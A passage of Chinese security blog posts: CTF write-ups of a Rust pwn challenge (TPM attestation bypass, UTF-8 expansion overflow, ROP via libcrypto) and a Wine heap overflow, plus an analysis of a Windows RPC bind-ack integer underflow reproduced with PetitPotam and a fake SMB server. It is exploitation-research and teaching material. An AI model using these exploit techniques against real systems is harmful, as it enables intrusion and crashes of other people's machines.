码,实现对请求过程的篡改。
这个算法将CTR的算法和认证算法结合。明文加密得到密文之后,再使用类似CBC的模式,生成对应的AuthTag。这里可以认为使用了EtA
这篇文章大致上把密码学的一些基本概念过了一遍,之后在分析SSH漏洞的时候,会反复提及。
https://datatracker.ietf.org/doc/html/rfc2040
https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation
本文首发于奇安信攻防社区 https://forum.butian.net/share/2328
Rust Pwn – rest-and-attest
这个题又是一个Rust Pwn
。拿到题目后,观察到有以下几个文件
1 | ├── bin |
首先根据文件目录,我们知道我们有一个uploader
项目,一个sfm
项目,一个辅助sfm
项目的sfm-sys
。基本上对应了bin目录下给出的相关二进制。然而,给出的二进制还包含了一个launcher
,这个是没有源码的。这里run_challenge.sh
和wrapper.sh
脚本内容如下:run_challenge.sh
1 |
|
wrapper.sh
1 |
|
可以看到,程序入口就是uploader
。
我们先简单看一下uploader的逻辑。比较重要的如下:
1 | fn io_loop() -> Result<(), Box<dyn Error>> { |
这里四个逻辑,分别是:
launcher
运行对应的shellcode这里如果我们不上传的话,会使用默认的trusted_firmware.raw
。这个shellcode存放在sfm
这个项目的src
中。
当我们执行了run
指令,程序会做出如下操作:
1 | fn run_device(image: &Vec<u8>) -> Result<(), Box<dyn Error>> { |
流程大致如下
sfm
程序,并且获得子进程对象,以及创建一个client_sock
的通信句柄,这个句柄对应的server_sock
会传入sfm
,与sfm
进行交互launcher
这个程序,这个程序会使用client_sock
通信句柄这个程序是一个C写的程序,最关键的地方如下:
1 | j_memcpy(hollow_and_jump_buffer, hollow_and_jump, 128LL); |
程序将我们上传的shellcode
读到了buffer
中,然后通过一个mmap出来的hollow_and_jump_buffer
函数跳转到buffer
的逻辑上。同时这里注意,这个install_seccomp_filter
会进行seccomp设置,设置的内容如下:
1 | line CODE JT JF K |
这里可以看出,程序只允许了四个系统调用
一开始的时候有一个想法:我们能不能直接上传一个文件,然后直接ORW,结果仔细看,这里没有允许open存在,那看来这个binary本身是没办法了。只能尝试从sfm
处突破
逆向到此处,我们需要对这个题目的输出输出流与运行状态稍作总结:
SFM_FD
与sfm
进行校验后,通过给sfm
发送一个请求,重新将我们普通的数据输出流设定为1,2(与当前一致),然后进行通信1 | +----------+ +-----------+ +-----------+ |
这个RAW模块是一个作为例子的模块,raw
与sfm
的通信过程需要通过将raw
逆向分析后,才能比较完整的理清楚这个过程。其中一个比较重的逻辑如下:
1 | int __usercall main_function@<eax>(int sock_fd@<edi>, __int64 argument@<rsi>, int std_fd@<edx>) |
这里会有两个fd,一个是和sfm
通信的sock,另一个则是用来和当前的标准输入输出流进行通信。后文的一些通信格式可以从这个binary中逆向得到。
sfm模块是这个题目最关键的模块,这个模块会初始化一个SFM(SecureFirewareModule)
模块,用于提供SFM的一些操作接口(也就是我们的主要漏洞点)。整个SFM模块主要逻辑基本上围绕着对我们创建的SFM对象的相关操作。
这个模块初始化的时候,首先会先模拟了使用一种叫做(PCR)Platform Configuration Register
的认证方式
这个认证方式源自于TPM(Trusted Platform Module)中,PCR表示一段存在TPM架构中的一段内存。通常情况下,被设定为安全软件和重要引导程序的程序会被计算其hash值,然后存放在这个PCR中。当不同的PCR关联到同一个hash库中的时候,会被认为叫做
bank
。每一个bank
对应一种hash算法,一个PCR可以分配给多个bank。不同的软件可以使用不同的算法做测量,产生不同的摘要,这些摘要就会被扩展到对应的bank中。
在测量软件时,TPM仅仅用PCR来记录测量值。至于是否安全,这要到应用程序真正使用PCR用于policy授权的时候,或者是远程请求者请求一个签名认证(quote
,引用)然后判定可信性。
在这个题目中,根据我们的执行情况,可以推断出前文raw
程序执行的时候,一定是通过了PCRPolicy
的认证。通过逆向raw
的逻辑,可以得知,raw
通过验证的办法,就是通过将自己的binary发送了过去,所以这个地方的PCRPolicy
其实计算的就是trusted_firmware.raw
的hash。这里其实模拟了一个认证绕过的问题,下文可以看到如何使用
接下来,程序给出了一些基本功能,包括
其中,系统提供的raw
在初始化的时候,会调用(2)(7)
,成功执行后才能够让raw
接受我们用户侧的输入,并且能够传递给sfm
。
1 | get_firmware_data(3, 1i64, now_pc); |
允许使用的功能只有(1) (5) (6)
,简单逆向后会发现,这几个功能在正常初始化下基本上没有什么功能。因为这几个程序都在操作sfm初始化时候正常初始化的模块。显然,我们需要尝试创建或者修改对应的模块才能出发漏洞。
根据Rust语言的特性,rust本身出现漏洞的情况少之又少,所以我们首先快速的过一遍所有的unsafe
部分,可以看到在sfm-sys
这个模块下,存在着一些C语言的外部函数:
1 | extern "C" { |
这些外部函数很特别,首先题目中并没有给出他们的原型,其次是他们在被调用的时候,都有unsafe
这个label
存在,例如
1 | pub fn get_public_key(&self) -> Option<Vec<u8>> { |
这些函数实现的内部仔细过了一遍,会发现有以下特征
memcpy
这里我们以上文的get_public_key
为例子,首先这个程序中的out_buf
为一个指定大小的数组,其次其通过调用了.as_mut_ptr
将自己声明为了可变的指针。在反汇编中如下:
1 | _QWORD *__fastcall sfm_sys::SecureFirmwareModule::get_public_key(_QWORD *a1, __int64 *a2) |
这里的v5
就是上文的out_buf
。
然后大致过了一遍所有的unsafe,会发现在certify
和attest
这个操作的时候,有可能会有一些异常行为。(因为剩下的unsafe包含的逻辑基本上是固定的了)
在TPM过程中,“attestation”(attest)是指证明一个系统或者设备的身份和完整性,确保它是可信的。这是通过TPM的一系列安全功能来实现的,包括数字签名、密钥管理和远程验证等机制。具体来说,TPM attestation过程中,系统或设备会向TPM发送请求,TPM会对其进行验证并生成一个证明(attestation),证明该系统或设备的身份和完整性。这个证明可以被其他系统或设备用来验证该系统或设备的可信性
逆向attest
操作,会发现里面有一个很简单就能发现的信息泄露:
1 |
|
在入口位置,程序校验了alg_id
是否为有效的hash算法,这个HashAlgMax
值为4.而在内部函数调用的时候:
1 | result = EVP_MD_CTX_new(); |
这边值使用了gid<=3
的情况,忘记了处理gid=4
。所以当我们构造的请求满足gid=4
的时候,这里的EVP_MD_CTX_new
就会返回一个地址,从而泄露一个lib库的地址。
在certify
函数中,基本上都存在内存拷贝的问题,因此我们可以考虑创建或者修改对象来实现溢出。首先我们来看到创建的流程
1 | fn create_object(&mut self, cmd: WithTrailer<SfmCreateObject>) -> SfmResult<bool> { |
这里又要提一个细节:这边创建内存的时候,使用的是parse_with_trailer
这个接口,这个接口的实现如下:
1 | pub trait JustBytes { |
这边可以看到,这个trait
为所有从AsBytes
和FromBytes
派生的对象实现了接口parse_with_trailer
和new_from_bytes
这两个接口,前者要求传入的字符串长度对齐T
的最小align值,后者要求传入的bytes大小正好为T
的大小。所以这两个接口基本上为序列化操作。
回到刚刚函数部分,这里NvStorage
可以通过传入的字符串进行序列化。Rust实现序列化的时候,是自动的将内存填充到结构体中,而NvStorage
相关结构体如下
1 |
|
这里我们能控制NvStorageRaw
中的size
大小,以及对应写入的大小。然而这里的size
在代码中限制最大值仅为1024
,大小非常有限,在certify
过程中,相关代码如下:
1 | let mut out_buf = [0u8; MAX_NV_STORAGE_CERT_SIZE]; //0x500 |
可以看到溢出长度不够,只能使用其他对象。不过这边的NvStoargeRaw
可以由用户控制塞入任意的1024字节,这点可以稍微记一下。
其他对象中,Key
的长度也是属于无法发生溢出的情况,于是只能考虑OwnershipRecord
OwnershipRecord
这个对象首先无法在create_object
中创建:
1 | let object: Option<SfmObject> = match cmd.get_object_type().try_into() { |
从代码中可以看出,即使我们选择这个对象,它也是不会创建的。然而在sfm初始化的时候,实际上就创建过一个OwnershipRecord
对象:
1 | let res = object_store.insert(0, |
因此我们可以考虑直接修改这个对象,从而考虑是否构成危险。它可以在modify
中被修改:
1 | fn modify_object(&mut self, cmd: WithTrailer<SfmModifyObject>) -> SfmResult<bool> { |
然而修改这个对象,我们需要让我们的bank
与desired_state
相等, 而这一步相当于是认证通过。这段其实模拟了TPM
检测固件hash的过程,在未认证通过的情况下,没有办法修改OwnershipRecord
。。。。吗?
上文提到的漏洞点虽然存在,但是需要想办法进行认证绕过,然而从题目可知,这个绕过需要比对desired_state
和bank
相等,这个逻辑要怎么绕过呢?
程序提供了一个叫做integrity_bank_update
的函数:
1 | fn integrity_bank_update(&mut self, cmd: WithTrailer<SfmIntegrityBankUpdate>) -> SfmResult<bool> { |
这个程序模拟了TPM
更新hash的流程,由于开始的时候bank
被初始化成了空值,所以在这边我们需要发送请求,将对应的bank
更新。而只有更新为trusted_firmware.raw
的hash值,的是偶,才能实现认证!
这里我们来仔细分析一下程序设计:对于TPM而言,此时它需要对我们的程序hash进行检测,从而保证我们的固件没有被修改。然而可能是出于一些特定的原因(例如当binary过大的时候,整体hash可能耗时太长)程序并未将整个binary进行hash并且检测,而是每1024个字节进行一次hash,最后比较整个hash数组,确保是否发生改变
为了保证权限隔离,
TPM
的验证程序sfm
肯定是无法直接接触到launcher
送上来的raw firmware
,所以两者之间使用了一个unix socket,模拟一种进程间隔离的情况下进行的通信检查,并且使用了看似合理的检查方式:上传的固件大小为8192
,而sfm
检查的时候,正好需要计算8段1024字节大的数据
trusted_firmware
是通过将自身的binary发送过去,从而实现的认证。从这个角度看,当我们企图修改trusted_firmware
中的任意一个字节,都将无通过校验;同时,如果我们尝试创建自己的binary,我们就会无法通过验证,看似是卡死了作弊的可能。
1 |
|
然而上述的安全逻辑之下却隐藏了一种可能:假设我们实现将trusted_firmare
进行压缩之后,塞入新的逻辑,其中当校验过程发生时,将对应的内容解压,这样我们就能在能够完成认证的同时,又引入自己的新的恶意逻辑!:
1 | +--------------+ +----------+ |
于是在这种情况下,我们就能在完成认证的同时,实现自己的恶意代码攻击!
当我们实现了认证之后,便可尝试触发下列代码实现更改OwnershipRecord
:
1 | SfmObject::OwnershipRecord(_) => { |
这里有一个细节:之前我们提到过,SfmObject::OwnershipRecord
这个enum类型使用的是OwnershipRecord
这个结构体,然而这边却是使用了OwnershipRecordRaw
这个结构体的new_from_bytes
进行的反序列化,这两者之间如何转换的呢?
于是这边检查相关结构体:
1 |
|
这个地方有一个很有意思的地方:OwnershipRecord
实现了一个接口,这个接口是针对OwnershipRecordRaw
对象的From
,这个接口的说明根据Rust官方网站说明
The
From
trait allows for a type to define how to create itself from another type, hence providing a very simple mechanism for converting between several types.
TheInto
trait is simply the reciprocal of the From trait. That is, if you have implemented the From trait for your type, Into will call it when necessary.
The From and Into traits are inherently linked, and this is actually part of its implementation. It means if we write something like this:impl From<T> for U
, then we can use letu: U = U::from(T)
orlet u:U = T.into()
.
在这个代码中,当一个OwnershipRecordRaw
调用into()
函数的时候,上述代码就会自动触发。由于new_from_bytes
为精准的反序列化过程,也就是说会严格按照OwnershipRecordRaw
结构体大小进行反序列化,因此这些字符串基本上无法出现溢出。
然而注意这里的from_utf8_lossy
函数,这个函数其实是一个处理utf8
的函数,如果遇到普通的ascii,这个函数会把对应的字符串直接翻译,但是如果遇到了ascii以外的字符串,其行为会是怎么样的呢?,这里检查官方文档:
Strings are made of bytes (u8), and a slice of bytes (&[u8]) is made of bytes, so this function converts between the two. Not all byte slices are valid strings, however: strings are required to be valid UTF-8. During this conversion, from_utf8_lossy() will replace any invalid UTF-8 sequences with U+FFFD REPLACEMENT CHARACTER
官方文档提到,当我们传入的字符串为非UTF-8
的形式的时候,这里的字符串会被添加FF FD两个多余的字符(并且替换掉原来的字符为替代字符)!换句话说,虽然这里的country_code
或者owner_name
会因为反序列化的要求,长度局限为2和64,然而会因为添加了ff fd
多余的字符,长度变为现在的3倍!
接下来看到对应的certify
功能:
1 | pub fn certify_ownership_record(&mut self, |
这个栈上的变量有380字节的空余,我们这个结构体OwnershipRecordRaw
只有96字节,不足以构成溢出。转换后的OwnershipRecord
大小大差不差(多了一点string的结构体),不过我们需要进一步看一下内部逻辑:
1 | owner_cert = create_owner_cert(owner_name, device_name, serial, &cnt); |
可以看到,这边实际上拷贝了两个东西,一个是加密后的hash值,另一个是调用create_owner_cert
创建的结构体。整体的hash其实是在对create_owner_cert
算出来的值进行hash,而这个owner_cert
对象其实就是我们传入的OwnershipRecord
,并且添加了一些证书结构体。注意到这里的append_kv_to_cert
函数底层实现实际上使用的是strcpy
进行的数据拷贝,也就是说由于utf-8
编码导致的内存扩展的漏洞现象会保留。
其中根据调试可以知道,当我们把所有的字符串填满的情况下,hash值实际上有0x100
字节那么大,此时拷贝逻辑如下:
1 | if ( (unsigned int)EVP_DigestSignFinal(v9, v14, (__int64)n) == 1 ) |
由于我们之前进行了内存扩展,此时的owner_cert
已经远超96字节。以device_name
填满0xff
为例子,此时的大小已经达到了224
字节!于是必定可以进行栈溢出攻击。根据调试,我们塞入一定量后的0xff
,并且拼入一些B
字符到device_name
,可以得到如下的结果:
1 | 0x7fffb2493a88: 0xbdbfefbdbfefbdbf 0xbfefbdbfefbdbfef |
此时我们就有了栈溢出的攻击原语
检查sfm可以知道,这个程序开启了所有的保护:
1 | Arch: amd64-64-little |
由于我们现在存在ROP的手段,同时又有一个泄露数据的办法,我们可以先检查泄露的数据中会包含什么。
1 | 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│ |
根据简单的观察可知,这里写漏了一个lib地址,为libcrypto.so.3
的一个固定地址,这个library题目中有给出,因此我们可以尝试利用这个构造ROP。
然而根据之前溢出条件来看,程序最多可以控制的溢出只有ret
地址和rpb处,因为这个结构体存在一些其他tag,导致如果我们尝试控制了ret
地址之后,其他的地址可能就不好控制了。
不过,我们从泄露的数据中还能看到一点heap
的地址,那这里我们考虑到之前create_object
可以塞入任意数据的事情,可以考虑做一个栈迁移,让我们的rsp指针跳转到堆上。
首先,我们创建一个堆
1 | +--------------+ |
此时,我们的栈修改如下:
1 | +--------------+ +----------------+ |
这样就能让rsp指向NvStorage
分配的内存中,从而保证有充足的空间存放ROP链。
同时,我们使用ropper
这个工具,即可快速的生成可以利用的ROP链
1 | ropper -f .\libcrypto.so.3 --chain execve |
考虑到整个程序攻击流程比较长(需要上传一个自己的固件,然后让固件与sfm
通信),这里考虑先用pwntools模拟这个固件,写出相关的攻击流程,然后再办法将其转换成C代码。为了让其能够正常运行,我们需要有一些前置工作:
sfm
使用的句柄来自环境变量,所以我们可以使用socket.sockpair
来创建一对通信句柄,让其中一个句柄可被继承,然后设置为环境变量,即可实现通信。sfm
这个binary使用patchelf
,让其能够从我们指定的目标目录下进行libc的查找。完成准备工作后,我们可以写出当前漏洞的利用脚本:
1 | from pwn import * |
在Python代码执行成功后,我们需要继续贴合题目。
这里有个小疑问,我们能否直接上传一个shellcode,读取后台题目中的trusted_firmware
呢?
其实是不行的,因为这个程序仅能够支持read,write,recvmsg
这几个中断调用,这就意味着我们无法读取攻击目标端上的trusted_firmare
,而是得用前文提到的那种,上传的程序中**需要把整个trusted_firmware
**包含进去。为了能够给我们自己的shellcode腾位置,我们需要按照前文提到的,将对应的binary进行压缩
简单检查了一下UPX的源码之后,发现其用的是一种叫做LZMA
的压缩算法,经过上网搜了一段时间之后,找到一个LZ4的压缩算法比较简单。可以使用这个算法帮我们将trusted_firmware
压缩,然后我们再在我们的binary里面再把这个压缩后的程序解即可。
构建程序的时候需要注意:
raw
中可以看出,不应当包含libc中的内容,也就是说我们需要尽可能的只使用系统调用完成任务其中,有一个编译shellcode的技巧是,我们可以让数据放在代码段,这样就可以很简单的只将代码段提取出来,例如我们声明:
1 | unsigned char blob[] __attribute__((section(".text"))) |
此时就能将blob
只存放在代码段。
然后就能使用下列编译策略将shellcode取出来
1 | gcc -Os -nostdlib -Wl,--gc-sections -o firm.o firm.c |
这个题目非常讲究调试技巧。首先,这里无法使用前文pwntools的方式辅助调试,毕竟我们此时确实需要启动两个进程;其次,两个进程一定要使用指定的句柄进行通信,这就导致我们不能像平时那样直接让双方进行通信。
这里用了一个取巧的办法,首先使用了下列python脚本创建一个unix stream
存在的环境:
1 | import os |
接下来,在这个shell中,我们再后台启动sfm
:
1 | ./sfm & |
这样我们就能从其他terminal对这个进程进行调试。同时,因为只有当前的terminal中有打开的句柄,此时可以使用
1 | ./launcer ./firm.bin |
来传入有效数据。
再无数次的试错后,终于成功的执行了后台程序:
1 | ├─bash───python3───bash─┬─python3───ba+ |
注意,由于按照我们调试技巧在后端启动了sfm
,所以此时的sh
其实会执行失败,不过如果能看到sh启动的话,大概率exp就是执行成功了。这里给出相关EXP:
1 |
|
最后,我们将程序封装好,然后完成最后的exp编写
1 | from pwn import * |
这次的坑踩得实在是太多了,决定在这里记一下,看看经历的磨难。。
LayoutVerified
这个结构体,导致只要结构体不符合要求(不按照结构体对齐->new_from_prefix
or 大小与结构体不同->read_from
)的时候,就会直接发生错误。所以一开始写PoC的时候,花了很多时间去调试。。。owner_name
这个变量,但是后来注意到,如果地址也写进去了的话,也会产生utf-8的问题,导致地址被加入fffd
,所以要避免使用这个地址。。strcpy
,所以存在0截断的问题,有些存在0的地方(例如存放地址)就会导致后续的写入内容无法写入,这时就要充分的利用每一个结构体成员(比如serial number)_start
开始的,如果用gdb.attach
会来不及在需要断下的地方停下来(因为shellcode已经被执行了),而如果使用gdb.run
指令来,则会因为pwntools的gdb无法继承句柄,导致句柄没有被传递过去,无法调试socket
之前,用mkfifo
创建命名管道,也能模拟socket通信的效果,但是Rust代码指明了用socket,当使用fifo的时候会直接报错socket
的话,需要在利用代码完成环境变量的设置,最后创建一个新的shellsyscall
指令会改变寄存器的值(例如r11),加上汇编高度优化,导致程序的执行逻辑可能会出现意想不到的现象/proc/launcher_pid/fd
确认当前进程打开的句柄是哪个volatile
关键字来保护这个题目虽然是一个Rust Pwn,但是感觉本质上和另一个Rust Pwn差的还是很远的。(如果我能把另一个做出来的话,就也更新上来)
其实Rust的逆向一半的内容得靠猜,因为存在变量复用的现象,下文会提到这点。
首先运行exe,可以看到是一个很经典的堆题:
1 | Storage: [] |
每当我们多申请一个堆的时候,Storage这里的显示就会发生变化:
1 | Storage: [*] |
不难想象,这里应该有一个内部的数据结构用于存储分配的内存。
当我们释放一个内存对象的时候,它会变成这样:
1 | Storage: [.] |
其他的操作就和普通的堆题差不多了。
了解运行逻辑之后,直接进行逆向。代码里面有多个类似vec的结构体,大概长这样
1 | struct my_raw_vec |
在allocate
这个操作中,分配内存操作如下:
1 | do |
其实它的allocate有两种模式,这边我们挑一种来讲(漏洞会涉及)。这里会提到一个大小为24字节的结构体就是前文讲的struct my_raw_vec
。
首先最外围的大循环的逻辑,加上 total_raw_vec.capacity == now_total_size
逻辑,结合起来其实就是检查这个total_raw_vec
,其中是否存在一个空的指针。如果不存在的话(也就是我们只有allocate操作,没有drop过),此时会先申请一个用于存放我们数据的堆块element,再扩张vector。并且之后将这个新的element
存放在新扩展出来的出来的total_raw_vec
中。
如果我们大致用伪代码描述以下,大概是如下的逻辑:
1 | // 先申请一个element |
这个程序其实最大的问题在于逆向,当逆向完成了一个操作之后,其他的逻辑基本上也就完成了。这里我们直接介绍漏洞操作,也就是write
:
1 | write_read(&read_data, (__int64)"data? size? \n", 6i64);// hear is "data? " so it read data from console |
Rust编译的时候,有时候会将一些可见字符拼接再一起。如上,他这边的翻译极具误导性,会给人一种write
操作会读入数据,并且需要我们指定大小的错觉。然而实际上,这个题的write
只需要我们输入数据。并且这个题目输入的数据是需要被反序列化的。举个例子,当我们输入:
1 | 0101 |
此时写入到我们指定内存的其实是\x01\x01
,而不是字符串。因此此时输入的长度一定要是偶数。
回到逻辑,上述代码主要就是将我们输入的数据读入一个叫做read_data
的临时变量,并且通过调用check_utf8_valid
确认其是否合法,同时返回了一个指向有效字符串起始地址的指针。并且在最后使用get_input_data
将我们的输入读入了一个地址。这个地址的变量我们之后命名为dst
1 | target_size = dst.target_size; |
接下来的漏洞利用部分就很简单了,首先我们可以看到,这个地方调用了memcpy
,而这边的cnt
来自于dst
,dst
本质上也是一个向量,而且其就是前文提到的用来存放读入数据的一个变量。也就是说,上述逻辑翻译一下就是:将输入的字符串全部拷贝到目标内存。那这就有了一个妥妥的堆溢出了。
这个点也是队友给我科普的,首先WINE全程可以是Wine Is Not an Emulator
(乐),本质上是让exe能够在Unix操作系统上运行的一个环境。注意,它不是虚拟机,所以并不具备虚拟机的一些基本特性。
除了msvcrt.dll
之外,所有的模块,包括堆和栈,都没有开ASLR。所以一旦确认了远程地址的这些偏移,可以直接用起来。(注意,包括exe在ida里面显示的地址,都是不变的)
如果存在一些检测PE头的逻辑,是可以通过的。虽然这些dll之类的本质是.so
,但是构建的时候,会预先额外构建一个PE头。
理论上也是可以直接调试的。运行指令为 wine simple_server_target.exe
,然后再用gdb attach
到对应的进程即可。
WINE程序有一个特别之处就是,如果我们让程序奔溃了,它会打印当前的上下文出来。例如
有一个叫做VIRTUAL_SetForceExec
的存在ntdll.dll.so
的函数,可以让所有可写的映射变成可执行!这样会让利用更加简单。
可以通过调用NtSetInformationProcess
函数来控制,也可以从这个函数处找到这个SetForceExec
的地址
根据上面的小tips,我们可以得知对于本题的一个重要的提示:除了msvcrt.dll.so
,所有的地址都是固定的。换句话说,假设我们能够拥有一个内存越界读,只要能泄露一次地址,之后的地址就可以反复的使用它。然后,WINE这个程序还有一个特征,当这个程序奔溃的时候,会打印这个程序的上下文!这样很多的地址其实在dump的时候就能够确定了。
回到这个题目,目前为止内存格式如下:
1 | +---------------+<-----------------+ |
那么此时我们就可以通过将target_ptr
覆盖成无效地址,并且再次访问这段内存对应的data,从而诱发crash
1 | +---------------+ |
通过简单的内存布局后,这边是我们修改内存地址之后尝试访问触发的crash:
1 | Unhandled exception: page fault on write access to 0xffffffffffffffff in 64-bit code (0x00000003af6cfcd9 |
注意,测试的时候使用的地址一定要是0xffffffffffffffff,之前使用0xaaaaaaaaaaaaaaaa居然是有效地址,不会导致崩溃。。。
由于这个target_ptr
可以被修改成任何值,我们就相当于有了一个WWW
,也就是write-what-where
。
之后漏洞利用就很简单了,由于这个程序几乎等于没有开ASLR,于是我们可以利用dump数据,直接算出程序返回值地址。然后通过修改target_ptr
指向栈尾部,然后就能直接塞ROP的指令进去了。
然而,一开始我们直接使用溢出攻击的时候,程序会直接崩溃在调用quit指令的时候,原因是我们这边溢出会修改堆的头部,而quit的时候会调用free,所以此时释放堆会发生错误。此时我们可以直接通过gdb调试,把被覆盖的数据抠出来,然后再payload钟直接按照原样写入对应位置。最后可以写出如下的exp
1 | from pwn import * |
这个题本质上我觉得是一个纯的二进制题。这个题其实从侧面突出了这几年pwn的一个做题趋势,就是【不去完全看懂程序逻辑,而是着重于漏洞发现】。举个我逆向中的例子,这个程序有一段拷贝数据的逻辑:
直接看逻辑会有一点莫名其妙:因为在上面的IOStruct
中,对应的向量的变量成员和赋值对应的内容可以说是完全无关,而在后面的逻辑中,这些成员又变得合理。这其实是一种变量复用的现象。假设存在如下代码:
1 | int func() |
对于上述代码,a在代码后方完全没出现过,b也完全没有在前方出现过。此时对于编译器来说,他就有一种选项,也就是让a和b公用一段内存空间
。然而此时对于尝试逆向的人来说,就会无法区分这两个变量到底是不是同一个变量。更有甚者,可能会有如下的现象:
1 | struct Large{ |
上面列出了两个大小不同的结构体,并且同时存在栈上。这种时候,某些编译器甚至会再g的逻辑后,将g的一部分内存直接用于存放s的内容。这种内存覆盖就会对代码的分析造成极大的困惑。
而前阵子和其他队友做题的时候,我也发现,最近的pwn题做起来更像是【先用fuzz等技巧先发现了漏洞,再顺着漏洞往下探索】,很多时候似乎做题的人也没有搞懂逻辑,但是他们就是能把题目做出来,这可能是现代CTF比赛中,pwn题的一种必然趋势吧。
说起来,最近沉迷于探索一些真实漏洞,感觉是不是也可以参照这种思路来思考呢。。?
在博客写完差不多一个月之后。。。corelight中给出了该漏洞的相关检测方案,HuanGMz师傅提醒我,可能之前分析的点并不是真正的漏洞点,于是只好重新对漏洞点进行分析。。(幸好看博客和github的人不多,整整一个月的打脸( ̄ε(# ̄))新的分析也是师傅带着完成的,师傅发的文章写的比较有条理,这边就做一下分析经验学习。。
用Bindiff能发现,以下五个API发生了明显的修复
1 | OSF_SCALL::ProcessReceivedPDU |
可以看到,后三个API开头为OSF_C
,这个C
肯定就是Client,一个9.8分的漏洞怎么会是客户端的漏洞呢,不可能的啦。结果是我才疏学浅了,真的是这个位置触发的。。
这个原理与另一个漏洞的利用方式有关:CVE-2021-43893
这个漏洞利用了Windows的一个叫做Encrypted File System(EFS)加密文件系统的特性, 其中最关键的点在于,EFSRPC支持UNC Path,也就是可以以如下的方式来访问文件:
1 | \\10.0.0.1\Share\Test\Foo.txt |
而EFS可以通过发送RPC请求来将服务器侧上的文件下载下来,详情见此
概括来说,当我们发送一个EfsRpcOpenFileRaw
请求,并且此时包含有UNC
路径的时候,服务器就需要向一个UNC中指定的路径进行数据请求访问。该漏洞提到的一个渗透工具PetitPotam会利用这种简介请求来获取受害服务器的NTLM hash
,而这个过程其实也是一个RPC。也就是说,利用这个思路,我们可以让受害者主机由服务器的身份变为客户端。相对于服务端,客户端的API往往会相对脆弱,利用这个思路就能将攻击面扩大到客户端API上!
这个点之后,回到看有问题的函数OSF_CASSOCIATION::ProcessBindAckOrNak
:
1 | __int64 __fastcall OSF_CASSOCIATION::ProcessBindAckOrNak( |
函数主要用于处理RPC请求过程中,处理RPC的ack
绑定的过程。这个绑定过程中涉及了两种类型的ack
:
bind_ack
,表示一个bind的请求被接受。此时会返回这种数据包,底层以数字12表示alter_context_resp
,这个表示接受发生上下文变化的请求,并且返回该种数据包,底层以数字12表示其中文档交代,两个ack
的头部是一样的,这里贴出其中一个展示
1 | typedef struct { |
漏洞的核心触如下:
根据描述猜测,可能alter_context_resp
的请求在请求头之后,会跟随一些描述变更情况的数据,而由于代码判断过程中,忘记检查type==15
,也就是是否为alter_context_resp
,此时如果请求头部的种类为bind_ack
,并且我们发送的数据只有头部,此时BufferLength_Argu
的长度就只有26,一旦进入else
逻辑此时就会进行运算
1 | v14 = BufferLength_Argu - 28;// 0xfffffffe |
而v14作为长度,是一个无符号整数,其将整数溢出,从而导致漏洞的发生!
由于这个漏洞触发需要服务器支持,这边准备的环境如下:
其中:
PetitPotam
,用于触发RPC首先我们在Attacker机器上起一个假SMB服务
1 | from impacket.smbserver import SimpleSMBServer |
注意的是,这个/test/path/for/smb
是需要真实存在的,包括路径下一定要有SMB请求的文件,不然的话RPC请求会失败,从而无法进入bind_ack
的逻辑。
同时,可以参考
corelight中的截图,将impacket
的rpcrt.py
中,DCERPCServer
的bind
函数进行修改:
1 | def bind(self, packet, bind): |
然后在Trigger机器上运行PetiPotam
,运行指令如下:
1 | python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:password@192.168.6.135" "\\192.168.6.136\realfile |
之后就能观察到相关的请求数据包:
此时就能触发漏洞!
然而漏洞触发之后,也不一定能触发BSOD,理由在这:
尽管我们触发了漏洞,但是在之后的逻辑中,会先检查Pointer
指向的内容是否为空。虽然Buffer
的理论大小为26(也就是bind_ack
头部数据大小),而此处的Pointer已经是一个越界访问,但是这个地方的内容实际上并不是我们可控的,所以会在一开始的check就被扔掉。。。
不过如果有办法能够控制目标机器中的堆内存,进行堆风水排布的话,说不定还是能够实现控制的,这个就有待进一步研究了。。
Patch修复的位置有如下两个位置可以参与漏洞利用:
1 | OSF_SCALL::ProcessReceivedPDU() |
首先我们可以看到第一个函数ProcessReceivedPDU
,这里提到了PDU
,这个玩意儿的名字是protocol data unit
的缩写。微软官方的解释是:
RPC PDU: A protocol data unit (PDU) originating in the remote procedure call (RPC) runtime.
在这里详细的介绍了这个概念。这个概念在之后我们会进一步探究。
这位大佬详细的介绍了自己的分析思路,可以先跟着他的操作进行初步学习。通过学习分析思路会发现,视频中无法进入的分支是因为存在一个需要设置的标志位
通过逆向分析可以发现,这个标志位其实标志的就是上文提到的Pipe对象。只有当Server端的接口为Pipe接口的时候,这个位置才会被置为1。根据观察分析,因为pipe对象允许类似队列Buffer的工作机制,所以可能需要有单独的处理逻辑。而正是没能正确的处理队列逻辑,导致了漏洞的出现。
不过在Server端存在Pipe的情况下,我发现代码会反复的陷入这个位置:
这段逻辑的工作类似于:将传入的Buffer进行解析,如果满足条件之后,则进入DispatchRPC
的逻辑,而当进入这个分支之后,代码就不会回来了。为了搞清楚这个逻辑,这里需要深入理解一下发送的数据包格式:
PDU的格式可以看这里。这边我们选取几个重要的讲一下:
1 | typedef struct { |
上述为Request PDU
格式,也是当我们Client像Server发送请求,包括Server pull 来自Client的数据的时候,RPCRT4
中使用的一种格式。格式中有几个重要的成员变量
pfc_flags
:表示当前请求的类型,目前常见的有PFC_FIRST_FRAG
以及PFC_LAST_FRAG
packed_drep
:用于表示当前PDU请求中每个元素的类型。frag_length
:用于表示每个fragment
切片的大小alloc_hint
:用于描述当前建议server端分配的数据大小opnum
:由于描述当前操作的是Server的哪个接口在request
之后,就会紧跟着body,也就是发送的数据结构体。
我们将之前文章中编译的的Pipe
实际的例子跑一下看看:
可以看到这边使用的是DCERPC
协议,其实就是OSF-DCE Open Software Foundation Distributed Computing Environment
定义的一种协议,包括上文提到的PDU
也在其中。然后我们看到数据包中有记录First 和 Last数据包,就是由flags
控制的
这边可以看到发送的数据包在发送过程中,会给出frag_length
和alloc_hint
。然而会发现两者长度不完全一致,这是由于alloc_hint
用于描述建议server端用于存放NDR数据的大小。这个大小不包含当前rpcconn_request_hdr_t
的大小。而frag_length
表示的是单次发送的fragment大小,其包含了rpcconn_request_hdr_t(24字节)
,当存在认证的场合,还需要分配对应的认证用context。两者的大小不一定相等(这也导致了后方漏洞的出现)
在数据传输的时候,RPC
会使用NDR
来描述当前传输的数据类型。NDR
可以简单的理解成一个TLV
协议的结合体。RPC内置的属性都可以用NDR
进行操作。
这里我们关注Pipe
的NDR类型
其官方描述如下
